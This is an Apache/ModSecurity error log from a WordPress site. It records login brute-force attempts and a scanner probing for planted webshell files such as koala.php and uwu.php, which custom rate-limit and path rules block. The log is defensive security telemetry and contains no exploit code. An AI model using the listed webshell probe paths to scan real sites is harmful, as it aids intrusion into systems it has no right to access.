[Tue May 26 20:41:07.208296 2026] [:error] [pid 33886:tid 33911] [client 45.131.194.89:48681] [client 45.131.194.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.89, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWU47BYzgp5rPVdHcWasgAAAFQ"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:41:13.813792 2026] [:error] [pid 33977:tid 33983] [client 45.146.54.183:62043] [client 45.146.54.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.183, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWU6e9cnSDNAU9sYPjeAQAAAAM"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:41:22.877744 2026] [:error] [pid 33886:tid 33906] [client 45.146.54.180:27035] [client 45.146.54.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.180, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWU8rBYzgp5rPVdHcWa4wAAAE8"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:41:29.229651 2026] [:error] [pid 43701:tid 43724] [client 45.131.194.100:28935] [client 45.131.194.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWU-YWtVI_UGrhtwKCrcwAAAVU"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:41:32.420020 2026] [:error] [pid 43701:tid 43717] [client 45.146.54.189:61153] [client 45.146.54.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.189, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWU_IWtVI_UGrhtwKCrjwAAAU4"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:41:39.444993 2026] [:error] [pid 36497:tid 36515] [client 45.131.194.103:62493] [client 45.131.194.103] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.103, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWVA7jKQWM1gBmBY4jzbwAAAMU"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:41:45.348827 2026] [:error] [pid 36497:tid 36513] [client 45.131.194.106:64513] [client 45.131.194.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.106, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWVCbjKQWM1gBmBY4jzigAAAMM"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:41:50.262724 2026] [:error] [pid 33977:tid 33988] [client 45.131.194.105:32639] [client 45.131.194.105] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.105, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWVDu9cnSDNAU9sYPjelAAAAAg"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:41:54.507500 2026] [:error] [pid 36497:tid 36516] [client 45.146.54.187:30443] [client 45.146.54.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.187, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWVErjKQWM1gBmBY4jzlwAAAMY"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:41:59.600826 2026] [:error] [pid 33887:tid 33927] [client 45.131.194.97:49085] [client 45.131.194.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.97, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWVF9COI_FV7meOxGcwhwAAAIg"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:42:03.151799 2026] [:error] [pid 43701:tid 43711] [client 45.131.194.97:37039] [client 45.131.194.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.97, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWVG4WtVI_UGrhtwKCsCgAAAUg"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:42:07.314435 2026] [:error] [pid 33888:tid 33950] [client 45.131.194.109:61087] [client 45.131.194.109] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.109, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWVHzqzTeoxiinZsGECHQAAAQQ"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:42:12.250509 2026] [:error] [pid 43701:tid 43706] [client 45.131.194.70:37395] [client 45.131.194.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.70, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWVJIWtVI_UGrhtwKCsMQAAAUM"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:42:17.150790 2026] [:error] [pid 33886:tid 33892] [client 45.131.194.94:53197] [client 45.131.194.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWVKbBYzgp5rPVdHcWbRgAAAEE"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:42:23.194056 2026] [:error] [pid 36497:tid 36521] [client 45.131.194.109:54581] [client 45.131.194.109] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.109, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWVL7jKQWM1gBmBY4j0FQAAAMs"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:42:26.571223 2026] [:error] [pid 36497:tid 36517] [client 45.131.194.73:41091] [client 45.131.194.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.73, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWVMrjKQWM1gBmBY4j0LwAAAMc"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:42:34.578976 2026] [:error] [pid 43701:tid 43706] [client 45.131.194.80:21671] [client 45.131.194.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.80, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWVOoWtVI_UGrhtwKCskgAAAUM"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 21:20:44.829599 2026] [:error] [pid 33886:tid 33910] [client 20.151.112.53:58314] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/koala.php"] [unique_id "ahWeLLBYzgp5rPVdHcWpCQAAAFM"]
[Tue May 26 21:20:45.950069 2026] [:error] [pid 33887:tid 33934] [client 20.151.112.53:43604] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/koala.php"] [unique_id "ahWeLdCOI_FV7meOxGdCFQAAAI8"]
[Tue May 26 21:20:46.727374 2026] [:error] [pid 33977:tid 34000] [client 20.151.112.53:43597] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/koala.php"] [unique_id "ahWeLu9cnSDNAU9sYPj3vwAAABQ"]
[Tue May 26 21:20:47.997289 2026] [:error] [pid 33888:tid 33965] [client 20.151.112.53:3071] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/koala.php"] [unique_id "ahWeLzqzTeoxiinZsGET2AAAARM"]
[Tue May 26 21:20:55.909682 2026] [:error] [pid 33887:tid 33936] [client 20.151.112.53:56712] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mac.php"] [unique_id "ahWeN9COI_FV7meOxGdCIQAAAJE"]
[Tue May 26 21:20:57.849919 2026] [:error] [pid 43701:tid 43720] [client 20.151.112.53:56730] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mac.php"] [unique_id "ahWeOYWtVI_UGrhtwKDZfgAAAVE"]
[Tue May 26 21:21:02.218205 2026] [:error] [pid 36497:tid 36510] [client 20.151.112.53:43605] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mac.php"] [unique_id "ahWePrjKQWM1gBmBY4gU-gAAAMA"]
[Tue May 26 21:21:12.339439 2026] [:error] [pid 33888:tid 33948] [client 20.151.112.53:58256] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/25d653587fdfd1.php"] [unique_id "ahWeSDqzTeoxiinZsGET6QAAAQI"]
[Tue May 26 21:21:25.259292 2026] [:error] [pid 36497:tid 36528] [client 20.151.112.53:58251] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/25d653587fdfd1.php"] [unique_id "ahWeVbjKQWM1gBmBY4gVOwAAANI"]
[Tue May 26 21:21:42.376343 2026] [:error] [pid 33977:tid 33999] [client 20.151.112.53:2621] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wefile.php"] [unique_id "ahWeZu9cnSDNAU9sYPj3-gAAABM"]
[Tue May 26 21:21:56.843210 2026] [autoindex:error] [pid 33886:tid 33900] [client 20.151.112.53:27867] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/post-comments-form/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 26 21:21:57.082821 2026] [autoindex:error] [pid 33886:tid 33909] [client 20.151.112.53:27867] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 26 21:22:10.207141 2026] [:error] [pid 33886:tid 33908] [client 20.151.112.53:27867] [client 20.151.112.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "ahWegrBYzgp5rPVdHcWpigAAAFE"]
[Tue May 26 21:22:20.749152 2026] [:error] [pid 43701:tid 43722] [client 20.151.112.53:57767] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/"] [unique_id "ahWejIWtVI_UGrhtwKDaMgAAAVM"]
[Tue May 26 21:22:58.939811 2026] [:error] [pid 36497:tid 36511] [client 20.151.112.53:32315] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x/"] [unique_id "ahWesrjKQWM1gBmBY4gVuQAAAME"]
[Tue May 26 21:23:07.950547 2026] [:error] [pid 33888:tid 33966] [client 20.151.112.53:18849] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/modern/"] [unique_id "ahWeuzqzTeoxiinZsGEUjgAAARQ"]
[Tue May 26 21:23:09.055739 2026] [:error] [pid 33977:tid 33994] [client 20.151.112.53:61802] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/modern/"] [unique_id "ahWeve9cnSDNAU9sYPj4bgAAAA4"]
[Tue May 26 21:23:09.905139 2026] [:error] [pid 36497:tid 36528] [client 20.151.112.53:55683] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/modern/"] [unique_id "ahWevbjKQWM1gBmBY4gV4AAAANI"]
[Tue May 26 21:23:10.787728 2026] [:error] [pid 43701:tid 43718] [client 20.151.112.53:19500] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/modern/"] [unique_id "ahWevoWtVI_UGrhtwKDatQAAAU8"]
[Tue May 26 21:23:11.370395 2026] [:error] [pid 43701:tid 43723] [client 20.151.112.53:15024] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uwu.php"] [unique_id "ahWev4WtVI_UGrhtwKDauwAAAVQ"]
[Tue May 26 21:23:12.227735 2026] [:error] [pid 33977:tid 33988] [client 20.151.112.53:2200] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uwu.php"] [unique_id "ahWewO9cnSDNAU9sYPj4dgAAAAg"]
[Tue May 26 21:23:13.242184 2026] [:error] [pid 33977:tid 33985] [client 20.151.112.53:44794] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uwu.php"] [unique_id "ahWewe9cnSDNAU9sYPj4dwAAAAU"]
[Tue May 26 21:23:13.844966 2026] [:error] [pid 33977:tid 34002] [client 20.151.112.53:42322] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uwu.php"] [unique_id "ahWewe9cnSDNAU9sYPj4ewAAABY"]
[Tue May 26 21:23:14.602616 2026] [:error] [pid 33977:tid 33984] [client 20.151.112.53:55703] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uwa.php"] [unique_id "ahWewu9cnSDNAU9sYPj4fgAAAAQ"]
[Tue May 26 21:23:15.446320 2026] [:error] [pid 36497:tid 36519] [client 20.151.112.53:26535] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uwa.php"] [unique_id "ahWew7jKQWM1gBmBY4gV9QAAAMk"]
[Tue May 26 21:23:16.077536 2026] [:error] [pid 33977:tid 34003] [client 20.151.112.53:17592] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uwa.php"] [unique_id "ahWexO9cnSDNAU9sYPj4ggAAABc"]
[Tue May 26 21:23:16.958014 2026] [:error] [pid 33887:tid 33940] [client 20.151.112.53:59323] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uwa.php"] [unique_id "ahWexNCOI_FV7meOxGdCzAAAAJU"]
[Tue May 26 21:23:18.143479 2026] [:error] [pid 33886:tid 33914] [client 20.151.112.53:55725] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/crgio.php"] [unique_id "ahWexrBYzgp5rPVdHcWpugAAAFc"]
[Tue May 26 21:23:24.447686 2026] [autoindex:error] [pid 36497:tid 36526] [client 20.151.112.53:18835] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/details/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 26 21:23:24.663838 2026] [autoindex:error] [pid 36497:tid 36527] [client 20.151.112.53:18835] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/audio/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 26 21:23:27.951710 2026] [autoindex:error] [pid 36497:tid 36526] [client 20.151.112.53:18835] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/buttons/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 26 21:23:32.656961 2026] [autoindex:error] [pid 36497:tid 36510] [client 20.151.112.53:18835] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 26 21:23:40.723377 2026] [:error] [pid 36497:tid 36522] [client 20.151.112.53:18835] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "ahWe3LjKQWM1gBmBY4gWTQAAAMw"]
[Tue May 26 21:23:41.641129 2026] [:error] [pid 36497:tid 36525] [client 20.151.112.53:61750] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "ahWe3bjKQWM1gBmBY4gWTwAAAM8"]
[Tue May 26 21:23:42.258850 2026] [:error] [pid 36497:tid 36510] [client 20.151.112.53:40336] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "ahWe3rjKQWM1gBmBY4gWUAAAAMA"]
[Tue May 26 21:23:43.402872 2026] [:error] [pid 36497:tid 36519] [client 20.151.112.53:40374] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "ahWe37jKQWM1gBmBY4gWVgAAAMk"]
[Tue May 26 21:23:44.253319 2026] [:error] [pid 43701:tid 43724] [client 20.151.112.53:59327] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/p.php"] [unique_id "ahWe4IWtVI_UGrhtwKDazAAAAVU"]
[Tue May 26 21:23:45.043828 2026] [:error] [pid 36497:tid 36534] [client 20.151.112.53:18840] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/p.php"] [unique_id "ahWe4bjKQWM1gBmBY4gWXQAAANg"]
[Tue May 26 21:23:46.069442 2026] [:error] [pid 33887:tid 33922] [client 20.151.112.53:61812] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/p.php"] [unique_id "ahWe4tCOI_FV7meOxGdDFQAAAIM"]
